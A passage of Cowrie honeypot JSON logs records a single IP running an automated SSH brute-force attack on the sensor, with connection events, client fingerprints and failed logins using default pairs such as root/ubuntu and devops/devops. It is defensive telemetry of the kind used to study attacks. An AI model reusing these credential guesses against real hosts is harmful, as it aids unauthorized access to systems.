0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:25.823342Z","src_ip":"192.109.200.237","session":"fc43980706b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:26.291811Z","src_ip":"192.109.200.237","session":"fc43980706b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:27.375922Z","src_ip":"192.109.200.237","session":"fc43980706b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42486,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6aa025e0357","protocol":"ssh","message":"New connection: 192.109.200.237:42486 (159.203.135.109:22) [session: c6aa025e0357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:29.042127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:29.046876Z","src_ip":"192.109.200.237","session":"c6aa025e0357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:29.129075Z","src_ip":"192.109.200.237","session":"c6aa025e0357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:29.374494Z","src_ip":"192.109.200.237","session":"c6aa025e0357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:30.461559Z","src_ip":"192.109.200.237","session":"c6aa025e0357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55504,"dst_ip":"159.203.135.109","dst_port":22,"session":"951e8a1f1360","protocol":"ssh","message":"New connection: 192.109.200.237:55504 (159.203.135.109:22) [session: 951e8a1f1360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:32.172829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:32.177141Z","src_ip":"192.109.200.237","session":"951e8a1f1360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:32.259404Z","src_ip":"192.109.200.237","session":"951e8a1f1360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:32.507009Z","src_ip":"192.109.200.237","session":"951e8a1f1360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:33.591701Z","src_ip":"192.109.200.237","session":"951e8a1f1360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55534,"dst_ip":"159.203.135.109","dst_port":22,"session":"71e56950ff2b","protocol":"ssh","message":"New connection: 192.109.200.237:55534 (159.203.135.109:22) [session: 71e56950ff2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:35.240759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:35.245707Z","src_ip":"192.109.200.237","session":"71e56950ff2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:35.328449Z","src_ip":"192.109.200.237","session":"71e56950ff2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:35.582763Z","src_ip":"192.109.200.237","session":"71e56950ff2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:36.709780Z","src_ip":"192.109.200.237","session":"71e56950ff2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55582,"dst_ip":"159.203.135.109","dst_port":22,"session":"b35a37536b1d","protocol":"ssh","message":"New connection: 192.109.200.237:55582 (159.203.135.109:22) [session: b35a37536b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:38.329734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:38.333657Z","src_ip":"192.109.200.237","session":"b35a37536b1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:38.415636Z","src_ip":"192.109.200.237","session":"b35a37536b1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.695008039474487,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:38.554962Z","src_ip":"109.197.191.195","session":"df19a6adfecf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:38.662808Z","src_ip":"192.109.200.237","session":"b35a37536b1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:39.748702Z","src_ip":"192.109.200.237","session":"b35a37536b1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60818,"dst_ip":"159.203.135.109","dst_port":22,"session":"d835d83263c5","protocol":"ssh","message":"New connection: 192.109.200.237:60818 (159.203.135.109:22) [session: d835d83263c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:41.448897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:41.453165Z","src_ip":"192.109.200.237","session":"d835d83263c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:41.539140Z","src_ip":"192.109.200.237","session":"d835d83263c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:41.788343Z","src_ip":"192.109.200.237","session":"d835d83263c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:42.874203Z","src_ip":"192.109.200.237","session":"d835d83263c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60822,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdae384d4e87","protocol":"ssh","message":"New connection: 192.109.200.237:60822 (159.203.135.109:22) [session: bdae384d4e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:44.521295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:44.525487Z","src_ip":"192.109.200.237","session":"bdae384d4e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:44.607078Z","src_ip":"192.109.200.237","session":"bdae384d4e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:45.009513Z","src_ip":"192.109.200.237","session":"bdae384d4e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:46.095056Z","src_ip":"192.109.200.237","session":"bdae384d4e87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60832,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6d1c456e04c","protocol":"ssh","message":"New connection: 192.109.200.237:60832 (159.203.135.109:22) [session: b6d1c456e04c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:47.798594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:47.806345Z","src_ip":"192.109.200.237","session":"b6d1c456e04c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:47.888774Z","src_ip":"192.109.200.237","session":"b6d1c456e04c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:48.135717Z","src_ip":"192.109.200.237","session":"b6d1c456e04c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:49.220682Z","src_ip":"192.109.200.237","session":"b6d1c456e04c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55508,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c318df42e5a","protocol":"ssh","message":"New connection: 192.109.200.237:55508 (159.203.135.109:22) [session: 3c318df42e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:50.887434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:50.892755Z","src_ip":"192.109.200.237","session":"3c318df42e5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:50.975672Z","src_ip":"192.109.200.237","session":"3c318df42e5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:51.223420Z","src_ip":"192.109.200.237","session":"3c318df42e5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:52.309104Z","src_ip":"192.109.200.237","session":"3c318df42e5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.70.233","src_port":42086,"dst_ip":"10.17.0.5","dst_port":23,"session":"22795aeb2f71","protocol":"telnet","message":"New connection: 165.22.70.233:42086 (10.17.0.5:23) [session: 22795aeb2f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:52.525290Z"}
{"eventid":"cowrie.session.closed","duration":0.1453251838684082,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:52.670528Z","src_ip":"165.22.70.233","session":"22795aeb2f71","protocol":"telnet"}
